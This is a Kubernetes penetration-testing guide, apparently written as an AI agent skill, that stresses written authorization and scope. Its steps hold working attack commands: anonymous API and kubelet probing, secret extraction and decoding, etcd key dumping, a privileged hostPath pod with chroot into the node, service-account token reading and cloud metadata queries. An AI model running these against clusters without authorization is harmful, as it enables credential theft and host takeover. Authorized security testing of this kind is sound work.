Performing Kubernetes Penetration Testing
Overview
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
Trigger phrases:
"performing kubernetes penetration testing"
"Kubernetes penetration testing systematically evaluates cluster security by simu"
When conducting security assessments that involve performing kubernetes penetration testing
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
- Authorized penetration testing engagement
- Kubernetes cluster access (various levels for different test scenarios)
- kube-hunter, kubescape, kube-bench installed
- kubectl configured
- Network access to cluster components
Core Concepts
This section covers core concepts for performing kubernetes penetration testing.
- Ensure all prerequisites are met before proceeding
- Follow the documented workflow steps in sequence
- Record results and any anomalies encountered during this phase
Kubernetes Attack Surface
| Component | Port | Attack Vectors |
|---|---|---|
| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |
| Kubelet | 10250/10255 | Unauthenticated access, command execution |
| etcd | 2379/2380 | Unauthenticated read, secret extraction |
| Dashboard | 8443 | Default credentials, token theft |
| NodePort Services | 30000-32767 | Service exposure, application exploits |
| CoreDNS | 53 | DNS spoofing, zone transfer |
MITRE ATT&CK for Kubernetes
| Phase | Techniques |
|---|---|
| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |
| Execution | exec into container, CronJob, deploy privileged pod |
| Persistence | Backdoor container, mutating webhook, static pod |
| Privilege Escalation | Privileged container, node access, RBAC abuse |
| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |
| Credential Access | Secret extraction, service account token theft |
| Lateral Movement | Container escape, cluster internal services |
Workflow
- Scope and authorize — confirm written authorization and define target boundaries
- Reconnaissance — enumerate targets, services, and potential attack surfaces
- Exploitation — attempt exploitation of identified vulnerabilities within scope
- Post-exploitation — document access level, lateral movement, and data exposure
- Report and remediate — compile findings with reproduction steps and fix recommendations
Step 1: External Reconnaissance
# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com
# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version
# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces
# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods # Read-only kubelet
Step 2: Automated Scanning with kube-hunter
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
Step 4: Framework Compliance with Kubescape
# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
# Scan against NSA/CISA hardening guide
kubescape scan framework nsa
# Scan against MITRE ATT&CK
kubescape scan framework mitre
# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1
# Scan specific namespace
kubescape scan framework nsa --namespace production
# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json
Step 5: RBAC Exploitation Testing
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*' # cluster-admin check
# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'
# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'
# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'
# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'
# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF
# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystem
chroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
When NOT to Use
- You don't have explicit written authorization to test
- Task is about defense/detection, not offense (use detection skills)
- You need to implement security controls (use implementing-* skills)
- Task requires compliance auditing (use auditing-* skills)
- You're investigating an incident (use incident response skills)
- Target is out of scope for your engagement
- Task is about vulnerability scanning only (use scanning tools)
Red Flags
- Performing actions without explicit written authorization from the asset owner
- Testing against production systems without a defined scope and rules of engagement
- Exceeding the authorized scope of the engagement
- Leaving persistent access mechanisms without explicit approval
- Causing denial-of-service on production systems during testing
Verification
- All steps executed successfully against a test environment before production use
- Output documented with screenshots or logs demonstrating expected behavior
- All exploited vulnerabilities documented with reproduction steps
- Scope boundaries confirmed — only authorized targets were tested
- Remediation recommendations included for every finding
References
- kube-hunter - Kubernetes Penetration Testing
- Kubescape - Kubernetes Security Platform
- kube-bench - CIS Benchmark
- MITRE ATT&CK Containers Matrix
- Kubernetes Threat Matrix - Microsoft
Process
- Analyze the task requirements
- Apply domain expertise
- Verify output quality
Anti-Rationalization Table
| Rationalization | Reality |
|---|---|
| "We are too small to be targeted" | Automated attacks target everyone. Size does not matter. |
| "Security slows us down" | A breach slows you down 100x more. Build security in from the start. |
| "We will fix it after launch" | Vulnerabilities in production are exploited within hours. Fix before deploy. |